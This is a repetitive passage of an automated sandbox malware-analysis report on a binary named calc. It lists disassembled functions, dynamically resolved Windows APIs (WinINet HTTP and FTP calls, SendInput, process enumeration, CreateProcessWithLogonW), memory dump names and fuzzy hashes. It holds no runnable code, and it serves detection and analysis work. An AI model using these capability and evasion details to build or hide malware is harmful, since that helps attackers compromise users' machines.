      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: Menu$InfoItem$Draw
      • String ID: ,
      • API String ID: 3227129158-3772416878
      • Opcode ID: c76b63d13cbcab5be6d8f3e1f9b0cc11a5ab769ce1081a37cc8b288e6b993584
      • Instruction ID: 2f9b948e05608c0d9f315e3ffc74653f53923b8b4e1199330be738cfb09ea567
      • Opcode Fuzzy Hash: c76b63d13cbcab5be6d8f3e1f9b0cc11a5ab769ce1081a37cc8b288e6b993584
      • Instruction Fuzzy Hash: 6E018C71A14209EEEB219FA0DD44BEE7BB4BF04354F14403FF985A01A1DB788850EF58
      Function 0044C282 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 41COMMON
      Download Yara Rule
      APIs
      • FlsFree.KERNEL32(00000005,0044C583,?,0045B1B8,00000060), ref: 0044C28D
      • RtlDeleteCriticalSection.NTDLL(00000000), ref: 0044C5EC
      • RtlDeleteCriticalSection.NTDLL(00000005), ref: 0044C616
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: CriticalDeleteSection$Free
      • String ID: @tF
      • API String ID: 1584690612-1530334341
      • Opcode ID: 01b143963cca39370ce2585153303752f0b35396f52a163d064d04b11265ad58
      • Instruction ID: 61e3c6bb3eba4695027c1047a15e5766942772b649c9c3fc9bb0005c32650307
      • Opcode Fuzzy Hash: 01b143963cca39370ce2585153303752f0b35396f52a163d064d04b11265ad58
      • Instruction Fuzzy Hash: 99F0F432842711A7E6745A199CC841AB29A5B01337B19423FE8BAE3250EB3C9C4149AE
      Function 00442E50 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15COMMON
      Download Yara Rule
      APIs
      • GetTempPathA.KERNEL32(00000104,?), ref: 00442E65
      • GetTempFileNameA.KERNEL32(?,aut,00000000,00442FBD), ref: 00442E7C
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: Temp$FileNamePath
      • String ID: aut${QB
      • API String ID: 3285503233-2878779683
      • Opcode ID: 21fe6b80f46257c1ad797387a32405323667ccc13c02846317d97aa5df9483ca
      • Instruction ID: 3d67460f30d7d14f51de960d09033c2ab69468caedc65b49ba4bb88e44c07f54
      • Opcode Fuzzy Hash: 21fe6b80f46257c1ad797387a32405323667ccc13c02846317d97aa5df9483ca
      • Instruction Fuzzy Hash: 1CD05E7150430DFBDB10AB90DC4AFC9776C9714709F0004A1B68495090DAF4D9C58B5A
      Function 0043004A Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON
      Download Yara Rule
      APIs
      • LoadLibraryA.KERNEL32(Wininet.dll,0042FD8C,00000001,0042ACF7,?,20000013,?,?,00000000,00000001), ref: 00430055
      • GetProcAddress.KERNEL32(00000000,HttpQueryInfoW), ref: 00430067
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: AddressLibraryLoadProc
      • String ID: HttpQueryInfoW$Wininet.dll
      • API String ID: 2574300362-1827896123
      • Opcode ID: 2c1ab40f9f572c927a0f49cc0b26cfcbf8b99dfb582a9751682da44302c35902
      • Instruction ID: ae3e7c10155bc4f291df986d1bcd477b896a64aa057136c8ef096f6152cf38fa
      • Opcode Fuzzy Hash: 2c1ab40f9f572c927a0f49cc0b26cfcbf8b99dfb582a9751682da44302c35902
      • Instruction Fuzzy Hash: C7D0C970A41302EECB208F71D8497137AF8AB44B02F209A6BB486D1260E77CE480CA1E
      Function 00430071 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON
      Download Yara Rule
      APIs
      • LoadLibraryA.KERNEL32(Wininet.dll,0042FDA2,?,0042AE6F,00000000,00000000,?,00000000,00000000,00000000,80000000,00000000), ref: 0043007C
      • GetProcAddress.KERNEL32(00000000,HttpOpenRequestW), ref: 0043008E
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: AddressLibraryLoadProc
      • String ID: HttpOpenRequestW$Wininet.dll
      • API String ID: 2574300362-1025864003
      • Opcode ID: fa93d8326efd3392f730695c0b1e64c3d25dd35159c5fa05e1670c90f17307a6
      • Instruction ID: 3aaa05196208d3405ad0e3724d1edfe7fa9879c1e0bd29b72703f7ab18a18b8f
      • Opcode Fuzzy Hash: fa93d8326efd3392f730695c0b1e64c3d25dd35159c5fa05e1670c90f17307a6
      • Instruction Fuzzy Hash: CED0C970641302EECB208F71D849B237AF8AB48702F20996AB49ED1260E778C840CE1E
      Function 00430023 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON
      Download Yara Rule
      APIs
      • LoadLibraryA.KERNEL32(Wininet.dll,0042FD76,00000000,0042AAC3,00000000,?,80000000,00000001,00000000), ref: 0043002E
      • GetProcAddress.KERNEL32(00000000,FtpOpenFileW), ref: 00430040
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: AddressLibraryLoadProc
      • String ID: FtpOpenFileW$Wininet.dll
      • API String ID: 2574300362-1343039947
      • Opcode ID: 6420013c9dd9f3a00795251f9aeb9b087d60abef74e79443d0e6b0bbbbe75e81
      • Instruction ID: 762bacf6f0d06cfb391cf0f2ff01321af7d6c7216697d0843cc30400aa9164b9
      • Opcode Fuzzy Hash: 6420013c9dd9f3a00795251f9aeb9b087d60abef74e79443d0e6b0bbbbe75e81
      • Instruction Fuzzy Hash: C3D0C974641302EECB608F61D8497137AF8AB44702F20997BB48AD1261E77CD440CE5E
      Function 004300E6 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON
      Download Yara Rule
      APIs
      • LoadLibraryA.KERNEL32(Wininet.dll,0042FE10,00000000,0042B1F3,00000000,00000032,?,00000008,?,00000003), ref: 004300F1
      • GetProcAddress.KERNEL32(00000000,InternetSetOptionW), ref: 00430103
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: AddressLibraryLoadProc
      • String ID: InternetSetOptionW$Wininet.dll
      • API String ID: 2574300362-1330685833
      • Opcode ID: 95de0dffc22d0963259c4d69c6c45233e077d41ec1b1f5133d5896be310fb27d
      • Instruction ID: ff59ce156c35f3968f4afa164b3a05efdcf9e96a6bec108e9525e22fa4784c4e
      • Opcode Fuzzy Hash: 95de0dffc22d0963259c4d69c6c45233e077d41ec1b1f5133d5896be310fb27d
      • Instruction Fuzzy Hash: 56D0C970641312EECB20AF61D8497137FE8AB55702F20996AB486D1262E778C440CF1E
      Function 004120F8 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON
      Download Yara Rule
      APIs
      • LoadLibraryA.KERNEL32(user32.dll,00410D3B,?,?,004115D3,00000012,?,00000000,?,00000000), ref: 00412103
      • GetProcAddress.KERNEL32(00000000,SendInput), ref: 00412115
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: AddressLibraryLoadProc
      • String ID: SendInput$user32.dll
      • API String ID: 2574300362-1064832393
      • Opcode ID: 4ead3b7de1eb813e2890999ff995c73bf3de4ffd0baf0b3798f1e810c2294c97
      • Instruction ID: b963cc7c8b00b921c783b673ea5c61c7744dee692fadaf3b76782265ccaed0cb
      • Opcode Fuzzy Hash: 4ead3b7de1eb813e2890999ff995c73bf3de4ffd0baf0b3798f1e810c2294c97
      • Instruction Fuzzy Hash: 38D0C970540306EFCB209FB1C98A71277E8AB00707F20886BB989E1293D7B8C484CA1C
      Function 00430098 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON
      Download Yara Rule
      APIs
      • LoadLibraryA.KERNEL32(Wininet.dll,0042FDB8,?,0042AEB5,00000000,00000000,00000000,00000000,00000000), ref: 004300A3
      • GetProcAddress.KERNEL32(00000000,HttpSendRequestW), ref: 004300B5
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: AddressLibraryLoadProc
      • String ID: HttpSendRequestW$Wininet.dll
      • API String ID: 2574300362-571859679
      • Opcode ID: 56287dbb5c8fa613192b2f9640bf059d33571e061af0d96863c42d5ccb391b72
      • Instruction ID: f9c0c41dff0c6647ec6965b73e0666f837cba77f00087c9ce6256905e321456e
      • Opcode Fuzzy Hash: 56287dbb5c8fa613192b2f9640bf059d33571e061af0d96863c42d5ccb391b72
      • Instruction Fuzzy Hash: FFD0C970641306EECB749F61D8497137AF8AB44702F20996BF886D1260E7B8D480CA1F
      Function 004300BF Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON
      Download Yara Rule
      APIs
      • LoadLibraryA.KERNEL32(Wininet.dll,0042FDFA,00000000,0042B1CB,00000000,00000028,?,00000002,?,00000003), ref: 004300CA
      • GetProcAddress.KERNEL32(00000000,InternetQueryOptionW), ref: 004300DC
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: AddressLibraryLoadProc
      • String ID: InternetQueryOptionW$Wininet.dll
      • API String ID: 2574300362-1362718701
      • Opcode ID: 0d504de1963ce42602e00efced6689885ade31a502019b9bd417622be1b721a3
      • Instruction ID: c37a48820cd0ffcfbf34dd1ef459abadf152d0e03d59a3200862424fa437e460
      • Opcode Fuzzy Hash: 0d504de1963ce42602e00efced6689885ade31a502019b9bd417622be1b721a3
      • Instruction Fuzzy Hash: CED0C970641702EFCB208FA1D84D7177AF8AB48703F20DD6AB486E1260E778C440CE1E
      Function 00416372 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON
      Download Yara Rule
      APIs
      • LoadLibraryA.KERNEL32(kernel32.dll,0041461F,76230F00,00479E08), ref: 0041637D
      • GetProcAddress.KERNEL32(00000000,CreateToolhelp32Snapshot), ref: 0041638F
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: AddressLibraryLoadProc
      • String ID: CreateToolhelp32Snapshot$kernel32.dll
      • API String ID: 2574300362-2184173117
      • Opcode ID: 62595157b22fda739014627afa9ea7e3df963d3aed48f7e5d35cffbc788012c6
      • Instruction ID: 9f7cde7f1173ff8d5ff4e5ff3ff1ee0d7b1cb5314f7db605f839c3c4faef6e20
      • Opcode Fuzzy Hash: 62595157b22fda739014627afa9ea7e3df963d3aed48f7e5d35cffbc788012c6
      • Instruction Fuzzy Hash: ADD0C970580706EFCB20AF61C8897137AE8AB50703F228C6AF8A9D2652D778D484CF1C
      Function 004163C0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON
      Download Yara Rule
      APIs
      • LoadLibraryA.KERNEL32(kernel32.dll,00414641,76230F00,00479E08), ref: 004163CB
      • GetProcAddress.KERNEL32(00000000,Process32NextW), ref: 004163DD
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: AddressLibraryLoadProc
      • String ID: Process32NextW$kernel32.dll
      • API String ID: 2574300362-1444338893
      • Opcode ID: b7a060d01d0b2cbd5aeda42b9088a336d274536439e0dbfa02d83227cf22a235
      • Instruction ID: 8319ed1bb1247ee7603d4177eb116fae53f33f119acae12130f3e88490653f2d
      • Opcode Fuzzy Hash: b7a060d01d0b2cbd5aeda42b9088a336d274536439e0dbfa02d83227cf22a235
      • Instruction Fuzzy Hash: 02D0C770A40706EFC7305F61C88971376D46B01747F10886AF855D1251D778C484DB1C
      Function 004163E7 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON
      Download Yara Rule
      APIs
      • LoadLibraryA.KERNEL32(Psapi.dll,004147A2,00000000,76230F00,?,004145E2,0042018E,0042018E,00479E08,00479E08,00438624,022D5978,00479E08), ref: 004163F2
      • GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 00416404
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: AddressLibraryLoadProc
      • String ID: EnumProcesses$Psapi.dll
      • API String ID: 2574300362-2142768860
      • Opcode ID: 618d42fc2998ab4b9def28153cc674556f41129a2cc7aa5b9427e406e46b19de
      • Instruction ID: b611058c7bdc95c68707464a329fe9fe04a65dd60b5ac42159b78de10f9528b9
      • Opcode Fuzzy Hash: 618d42fc2998ab4b9def28153cc674556f41129a2cc7aa5b9427e406e46b19de
      • Instruction Fuzzy Hash: 1ED0C7B0A40302DAC7205F61E84975A76D46F14703F11C86AF489D1153D778C485CA5C
      Function 00416399 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON
      Download Yara Rule
      APIs
      • LoadLibraryA.KERNEL32(kernel32.dll,00414630,76230F00,00479E08), ref: 004163A4
      • GetProcAddress.KERNEL32(00000000,Process32FirstW), ref: 004163B6
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: AddressLibraryLoadProc
      • String ID: Process32FirstW$kernel32.dll
      • API String ID: 2574300362-3009187892
      • Opcode ID: 3ef915f0c527edf8a262af86bca1cad1980d7eba1d139d0164bfb6967e731860
      • Instruction ID: ac7a4e64c3133c5cf8734401ae9bcbe9a4321e908ed6f167add39891081ddbe8
      • Opcode Fuzzy Hash: 3ef915f0c527edf8a262af86bca1cad1980d7eba1d139d0164bfb6967e731860
      • Instruction Fuzzy Hash: 53D0C770540706EEC7205F65C84971376D86B04703F14986EFC55D1665D778C484CB1C
      Function 0043B451 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON
      Download Yara Rule
      APIs
      • LoadLibraryA.KERNEL32(Advapi32.dll), ref: 0043B45C
      • GetProcAddress.KERNEL32(00000000,CreateProcessWithLogonW), ref: 0043B46E
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: AddressLibraryLoadProc
      • String ID: Advapi32.dll$CreateProcessWithLogonW
      • API String ID: 2574300362-755999451
      • Opcode ID: a1b84ca584a243ed6f42446eea0f28c42173d9ea2547da7be013d56738bda288
      • Instruction ID: 9c273b0ebcd64cb7b02c8d38e944e95f0e50cbb72423db979123efa01101c5c7
      • Opcode Fuzzy Hash: a1b84ca584a243ed6f42446eea0f28c42173d9ea2547da7be013d56738bda288
      • Instruction Fuzzy Hash: 57D0C770541702FEC7205F71C94A71276D4EB14702F50DC6BB5D5D1152D778C440C65D
      Function 0041640E Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON
      Download Yara Rule
      APIs
      • LoadLibraryA.KERNEL32(Psapi.dll,004147B9,00000000,76230F00,?,004145E2,0042018E,0042018E,00479E08,00479E08,00438624,022D5978,00479E08), ref: 00416419
      • GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 0041642B
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
